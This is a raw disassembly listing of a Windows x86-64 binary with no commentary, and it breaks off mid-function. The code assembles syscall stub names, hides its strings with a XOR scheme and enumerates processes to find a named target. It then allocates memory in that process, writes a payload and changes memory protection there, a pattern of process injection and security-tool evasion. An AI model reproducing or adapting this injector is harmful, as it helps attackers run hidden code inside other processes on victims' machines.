lea rdx, [rbp + 0x4960]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4920]
lea rdx, [rbp + 0x4940]
lea r8, [0x1400c357f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4900]
lea rdx, [rbp + 0x4920]
lea r8, [0x1400c3575]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x48e0]
lea rdx, [rbp + 0x4900]
lea r8, [0x1400c35c1]
mov rcx, rax
call fcn.1400bbb20
lea rdx, [rbp + 0x48e0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab700
lea rax, [rbp + 0x48e0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4900]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4920]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4940]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4960]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4980]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x49a0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x49c0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x49e0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4a00]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4a20]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4a40]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4a60]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4a8f]
mov rcx, rax
call fcn.140073670
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4a90]
mov rcx, rax
call fcn.1400aab10
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x4a90]
mov rcx, qword [rbp + 0x52f0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x4a90]
mov rcx, rax
call fcn.1400ab6c0
cmp dword [rbp + 0x529c], 0
je 0x140008586
lea rbx, [0x1400c358b]
jmp 0x14000858d
lea rbx, [0x1400c3590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030e40
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x4cff]
mov rcx, rax
call fcn.140073640
lea rdx, [rbp + 0x4cff]
lea rax, [rbp + 0x4cd0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aafa0
lea rax, [rbp + 0x4cb0]
lea rdx, [rbp + 0x4cd0]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4c90]
lea rdx, [rbp + 0x4cb0]
lea r8, [0x1400c3585]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4c70]
lea rdx, [rbp + 0x4c90]
lea r8, [0x1400c3579]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4c50]
lea rdx, [rbp + 0x4c70]
lea r8, [0x1400c35d1]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4c30]
lea rdx, [rbp + 0x4c50]
lea r8, [0x1400c357d]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4c10]
lea rdx, [rbp + 0x4c30]
lea r8, [0x1400c357f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4bf0]
lea rdx, [rbp + 0x4c10]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4bd0]
lea rdx, [rbp + 0x4bf0]
lea r8, [0x1400c35d7]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4bb0]
lea rdx, [rbp + 0x4bd0]
lea r8, [0x1400c35c5]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4b90]
lea rdx, [rbp + 0x4bb0]
lea r8, [0x1400c35cf]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4b70]
lea rdx, [rbp + 0x4b90]
lea r8, [0x1400c35bf]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4b50]
lea rdx, [rbp + 0x4b70]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4b30]
lea rdx, [rbp + 0x4b50]
lea r8, [0x1400c3577]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4b10]
lea rdx, [rbp + 0x4b30]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4af0]
lea rdx, [rbp + 0x4b10]
lea r8, [0x1400c357f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4ad0]
lea rdx, [rbp + 0x4af0]
lea r8, [0x1400c3575]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4ab0]
lea rdx, [rbp + 0x4ad0]
lea r8, [0x1400c35c1]
mov rcx, rax
call fcn.1400bbb20
lea rdx, [rbp + 0x4ab0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab700
lea rax, [rbp + 0x4ab0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4ad0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4af0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4b10]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4b30]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4b50]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4b70]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4b90]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4bb0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4bd0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4bf0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4c10]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4c30]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4c50]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4c70]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4c90]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4cb0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4cd0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4cff]
mov rcx, rax
call fcn.140073670
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4d00]
mov rcx, rax
call fcn.1400aab10
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x4d00]
mov rcx, qword [rbp + 0x52e8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x4d00]
mov rcx, rax
call fcn.1400ab6c0
cmp dword [rbp + 0x529c], 0
je 0x140008979
lea rbx, [0x1400c358b]
jmp 0x140008980
lea rbx, [0x1400c3590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030e40
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x4f8f]
mov rcx, rax
call fcn.140073640
lea rdx, [rbp + 0x4f8f]
lea rax, [rbp + 0x4f60]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aafa0
lea rax, [rbp + 0x4f40]
lea rdx, [rbp + 0x4f60]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4f20]
lea rdx, [rbp + 0x4f40]
lea r8, [0x1400c35bd]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4f00]
lea rdx, [rbp + 0x4f20]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4ee0]
lea rdx, [rbp + 0x4f00]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4ec0]
lea rdx, [rbp + 0x4ee0]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4ea0]
lea rdx, [rbp + 0x4ec0]
lea r8, [0x1400c357d]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4e80]
lea rdx, [rbp + 0x4ea0]
lea r8, [0x1400c357f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4e60]
lea rdx, [rbp + 0x4e80]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4e40]
lea rdx, [rbp + 0x4e60]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4e20]
lea rdx, [rbp + 0x4e40]
lea r8, [0x1400c3583]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4e00]
lea rdx, [rbp + 0x4e20]
lea r8, [0x1400c3579]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4de0]
lea rdx, [rbp + 0x4e00]
lea r8, [0x1400c3573]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4dc0]
lea rdx, [rbp + 0x4de0]
lea r8, [0x1400c3585]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4da0]
lea rdx, [rbp + 0x4dc0]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4d80]
lea rdx, [rbp + 0x4da0]
lea r8, [0x1400c3587]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4d60]
lea rdx, [rbp + 0x4d80]
lea r8, [0x1400c3575]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4d40]
lea rdx, [rbp + 0x4d60]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x4d20]
lea rdx, [rbp + 0x4d40]
lea r8, [0x1400c3589]
mov rcx, rax
call fcn.1400bbb20
lea rdx, [rbp + 0x4d20]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab700
lea rax, [rbp + 0x4d20]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4d40]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4d60]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4d80]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4da0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4dc0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4de0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4e00]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4e20]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4e40]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4e60]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4e80]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4ea0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4ec0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4ee0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4f00]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4f20]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4f40]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4f60]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x4f8f]
mov rcx, rax
call fcn.140073670
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4f90]
mov rcx, rax
call fcn.1400aab10
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x4f90]
mov rcx, qword [rbp + 0x52e0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x4f90]
mov rcx, rax
call fcn.1400ab6c0
cmp dword [rbp + 0x529c], 0
je 0x140008d98
lea rbx, [0x1400c358b]
jmp 0x140008d9f
lea rbx, [0x1400c3590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030e40
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, section..data
mov rcx, rax
call fcn.140002f36
mov qword [rbp + 0x2498], 0x230
mov rax, qword [0x1400bf380]
mov qword [rbp + 0x2490], rax
mov rax, qword [rbp + 0x2498]
mov rdx, rax
lea rax, [0x1400bf3a0]
mov rcx, rax
call fcn.140001b72
mov dword [rbp + 0x2360], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x5290], rax
mov dword [rbp + 0x5388], 0
lea rax, [rbp + 0x2353]
lea rdx, [rbp + 0x4fbd]
mov rcx, rax
call fcn.140003050
lea rdx, [rbp + 0x2360]
mov rax, qword [rbp + 0x5290]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
sete al
test al, al
je 0x1400090c8
jmp 0x1400090a4
lea rax, [rbp + 0x2353]
mov qword [rbp + 0x5248], rax
mov rax, qword [rbp + 0x5248]
mov qword [rbp + 0x5240], rax
mov rax, qword [rbp + 0x5240]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x140008f34
mov rax, qword [rbp + 0x5248]
mov rdx, qword [rbp + 0x5248]
mov qword [rbp + 0x5238], rdx
mov qword [rbp + 0x5230], rax
mov dword [rbp + 0x522c], 0
jmp 0x140008f2a
mov eax, dword [rbp + 0x522c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5230]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x522c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5238]
mov eax, dword [rbp + 0x522c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x522c], 1
cmp dword [rbp + 0x522c], 0xc
jle 0x140008ec9
nop
lea rax, [rbp + 0x2353]
lea rdx, [rbp + 0x2360]
lea rcx, [rdx + 0x2c]
mov rdx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
sete al
test al, al
je 0x1400090a4
mov eax, dword [rbp + 0x2368]
mov dword [rbp + 0x5388], eax
lea rax, [rbp + 0x101]
lea rdx, [rbp + 0x4fbe]
mov rcx, rax
call fcn.1400030ca
lea rax, [rbp + 0x101]
mov qword [rbp + 0x5220], rax
mov rax, qword [rbp + 0x5220]
movzx eax, byte [rax + 0xe]
test al, al
setne al
test al, al
je 0x140009036
lea rax, [rbp + 0x101]
lea rdx, [rbp + 0x101]
mov qword [rbp + 0x5218], rdx
mov qword [rbp + 0x5210], rax
mov dword [rbp + 0x520c], 0
jmp 0x14000902c
mov eax, dword [rbp + 0x520c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5210]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x520c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5218]
mov eax, dword [rbp + 0x520c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x520c], 1
cmp dword [rbp + 0x520c], 0xe
jle 0x140008fcb
nop
lea rax, [rbp + 0x101]
mov rdx, qword [rbp + 0x2353]
mov qword [rbp - 0x40], rdx
mov rdx, qword [rbp + 0x2358]
mov qword [rbp - 0x3b], rdx
mov ecx, dword [rbp + 0x5388]
lea rdx, [rbp - 0x40]
mov r9d, ecx
mov r8, rdx
mov rdx, rax
lea rax, [0x1400c35d9]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5208], 0
jmp 0x140009098
mov eax, dword [rbp + 0x5208]
cdqe
mov byte [rbp + rax + 0x101], 0
add dword [rbp + 0x5208], 1
cmp dword [rbp + 0x5208], 0xe
jle 0x140009081
nop
jmp 0x1400090c8
lea rdx, [rbp + 0x2360]
mov rax, qword [rbp + 0x5290]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
sete al
test al, al
jne 0x140008e6d
mov rax, qword [rbp + 0x5290]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp dword [rbp + 0x5388], 0
jne 0x140009217
lea rax, [rbp - 0x10]
lea rdx, [rbp + 0x4fbf]
mov rcx, rax
call fcn.140003154
lea rax, [rbp - 0x10]
mov qword [rbp + 0x5200], rax
mov rax, qword [rbp + 0x5200]
movzx eax, byte [rax + 0x43]
test al, al
setne al
test al, al
je 0x1400091ab
lea rax, [rbp - 0x10]
lea rdx, [rbp - 0x10]
mov qword [rbp + 0x51f8], rdx
mov qword [rbp + 0x51f0], rax
mov dword [rbp + 0x51ec], 0
jmp 0x1400091a1
mov eax, dword [rbp + 0x51ec]
movsxd rdx, eax
mov rax, qword [rbp + 0x51f0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x51ec]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x51f8]
mov eax, dword [rbp + 0x51ec]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x51ec], 1
cmp dword [rbp + 0x51ec], 0x43
jle 0x140009140
nop
lea rax, [rbp - 0x10]
mov rdx, qword [rbp + 0x2353]
mov qword [rbp - 0x40], rdx
mov rdx, qword [rbp + 0x2358]
mov qword [rbp - 0x3b], rdx
lea rdx, [rbp - 0x40]
mov r8, rdx
mov rdx, rax
lea rax, str._s_s
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x51e8], 0
jmp 0x1400091fe
mov eax, dword [rbp + 0x51e8]
cdqe
mov byte [rbp + rax - 0x10], 0
add dword [rbp + 0x51e8], 1
cmp dword [rbp + 0x51e8], 0x43
jle 0x1400091ea
nop
mov esi, 1
mov ebx, 0
jmp 0x14000a7f8
mov qword [rbp + 0x2348], 0
mov qword [rbp + 0x2338], 0
mov eax, dword [rbp + 0x2368]
mov ecx, eax
call fcn.1400014a4
mov qword [rbp + 0x2330], rax
mov dword [rbp + 0x2300], 0x30
mov qword [rbp + 0x2308], 0
mov dword [rbp + 0x2318], 0
mov qword [rbp + 0x2310], 0
mov qword [rbp + 0x2320], 0
mov qword [rbp + 0x2328], 0
mov r10, qword [0x1400ef080]
lea rcx, [rbp + 0x2330]
lea rdx, [rbp + 0x2300]
lea rax, [rbp + 0x2348]
mov r9, rcx
mov r8, rdx
mov edx, 0x478
mov rcx, rax
call r10
lea rax, [rbp + 0x22f4]
lea rdx, [rbp + 0x4fc0]
mov rcx, rax
call fcn.140003386
lea rax, [rbp + 0x22e0]
lea rdx, [rbp + 0x4fc1]
mov rcx, rax
call fcn.1400033f8
mov qword [rbp + 0x5288], 0
mov qword [rbp + 0x22d8], 0
mov dword [rbp + 0x22cc], 0
mov qword [rbp + 0x5280], 0xe
mov r10, qword [0x1400ef038]
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp + 0x2498]
lea rdx, [rbp + 0x22d8]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x22a0]
lea rdx, [rbp + 0x4fc2]
mov rcx, rax
call fcn.14000348a
lea rax, [rbp + 0x22a0]
mov qword [rbp + 0x51e0], rax
mov rax, qword [rbp + 0x51e0]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x140009415
lea rax, [rbp + 0x22a0]
lea rdx, [rbp + 0x22a0]
mov qword [rbp + 0x51d8], rdx
mov qword [rbp + 0x51d0], rax
mov dword [rbp + 0x51cc], 0
jmp 0x14000940b
mov eax, dword [rbp + 0x51cc]
movsxd rdx, eax
mov rax, qword [rbp + 0x51d0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x51cc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x51d8]
mov eax, dword [rbp + 0x51cc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x51cc], 1
cmp dword [rbp + 0x51cc], 0x27
jle 0x1400093aa
nop
lea rax, [rbp + 0x22a0]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1400c30e1]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x51c8], 0
jmp 0x14000945a
mov eax, dword [rbp + 0x51c8]
cdqe
mov byte [rbp + rax + 0x22a0], 0
add dword [rbp + 0x51c8], 1
cmp dword [rbp + 0x51c8], 0x27
jle 0x140009443
nop
lea rax, [rbp + 0x2292]
lea rdx, [rbp + 0x4fc3]
mov rcx, rax
call fcn.1400035dc
mov r8, qword [rbp + 0x22d8]
lea rax, [rbp + 0x2292]
mov qword [rbp + 0x51c0], rax
mov rax, qword [rbp + 0x51c0]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x14000953a
lea rax, [rbp + 0x2292]
lea rdx, [rbp + 0x2292]
mov qword [rbp + 0x51b8], rdx
mov qword [rbp + 0x51b0], rax
mov dword [rbp + 0x51ac], 0
jmp 0x140009530
mov eax, dword [rbp + 0x51ac]
movsxd rdx, eax
mov rax, qword [rbp + 0x51b0]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x51ac]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x51b8]
mov eax, dword [rbp + 0x51ac]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x51ac], 1
cmp dword [rbp + 0x51ac], 0xd
jle 0x1400094cf
nop
lea rax, [rbp + 0x2292]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x51a8], 0
jmp 0x140009576
mov eax, dword [rbp + 0x51a8]
cdqe
mov byte [rbp + rax + 0x2292], 0
add dword [rbp + 0x51a8], 1
cmp dword [rbp + 0x51a8], 0xd
jle 0x14000955f
nop
mov r10, qword [0x1400ef040]
mov r9, qword [rbp + 0x2498]
mov r8, qword [0x1400ef0d0]
mov rdx, qword [rbp + 0x22d8]
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp + 0x22d0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x2260]
lea rdx, [rbp + 0x4fc4]
mov rcx, rax
call fcn.14000365e
lea rax, [rbp + 0x2260]
mov qword [rbp + 0x51a0], rax
mov rax, qword [rbp + 0x51a0]
movzx eax, byte [rax + 0x22]
test al, al
setne al
test al, al
je 0x14000968a
lea rax, [rbp + 0x2260]
lea rdx, [rbp + 0x2260]
mov qword [rbp + 0x5198], rdx
mov qword [rbp + 0x5190], rax
mov dword [rbp + 0x518c], 0
jmp 0x140009680
mov eax, dword [rbp + 0x518c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5190]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x518c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5198]
mov eax, dword [rbp + 0x518c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x518c], 1
cmp dword [rbp + 0x518c], 0x22
jle 0x14000961f
nop
lea rax, [rbp + 0x2260]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1400c30e1]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5188], 0
jmp 0x1400096cf
mov eax, dword [rbp + 0x5188]
cdqe
mov byte [rbp + rax + 0x2260], 0
add dword [rbp + 0x5188], 1
cmp dword [rbp + 0x5188], 0x22
jle 0x1400096b8
nop
mov r10, qword [0x1400ef048]
mov rax, qword [rbp + 0x2348]
lea r8, [rbp + 0x2498]
lea rdx, [rbp + 0x22d8]
lea rcx, [rbp + 0x22cc]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x2230]
lea rdx, [rbp + 0x4fc5]
mov rcx, rax
call fcn.140003788
lea rax, [rbp + 0x2230]
mov qword [rbp + 0x5180], rax
mov rax, qword [rbp + 0x5180]
movzx eax, byte [rax + 0x22]
test al, al
setne al
test al, al
je 0x1400097e2
lea rax, [rbp + 0x2230]
lea rdx, [rbp + 0x2230]
mov qword [rbp + 0x5178], rdx
mov qword [rbp + 0x5170], rax
mov dword [rbp + 0x516c], 0
jmp 0x1400097d8
mov eax, dword [rbp + 0x516c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5170]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x516c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5178]
mov eax, dword [rbp + 0x516c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x516c], 1
cmp dword [rbp + 0x516c], 0x22
jle 0x140009777
nop
lea rax, [rbp + 0x2230]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1400c30e1]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5168], 0
jmp 0x140009827
mov eax, dword [rbp + 0x5168]
cdqe
mov byte [rbp + rax + 0x2230], 0
add dword [rbp + 0x5168], 1
cmp dword [rbp + 0x5168], 0x22
jle 0x140009810
nop
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call fcn.140002c73
mov rdx, qword [rbp + 0x22d8]
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call fcn.1400028a1
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov r10, qword [0x1400ef0c0]
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp + 0x2498]
lea rdx, [rbp + 0x22d8]
mov r9d, 0x8000
mov r8, rcx
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x2200]
lea rdx, [rbp + 0x4fc6]
mov rcx, rax
call fcn.1400038b2
lea rax, [rbp + 0x2200]
mov qword [rbp + 0x5160], rax
mov rax, qword [rbp + 0x5160]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x140009964
lea rax, [rbp + 0x2200]
lea rdx, [rbp + 0x2200]
mov qword [rbp + 0x5158], rdx
mov qword [rbp + 0x5150], rax
mov dword [rbp + 0x514c], 0
jmp 0x14000995a
mov eax, dword [rbp + 0x514c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5150]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x514c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
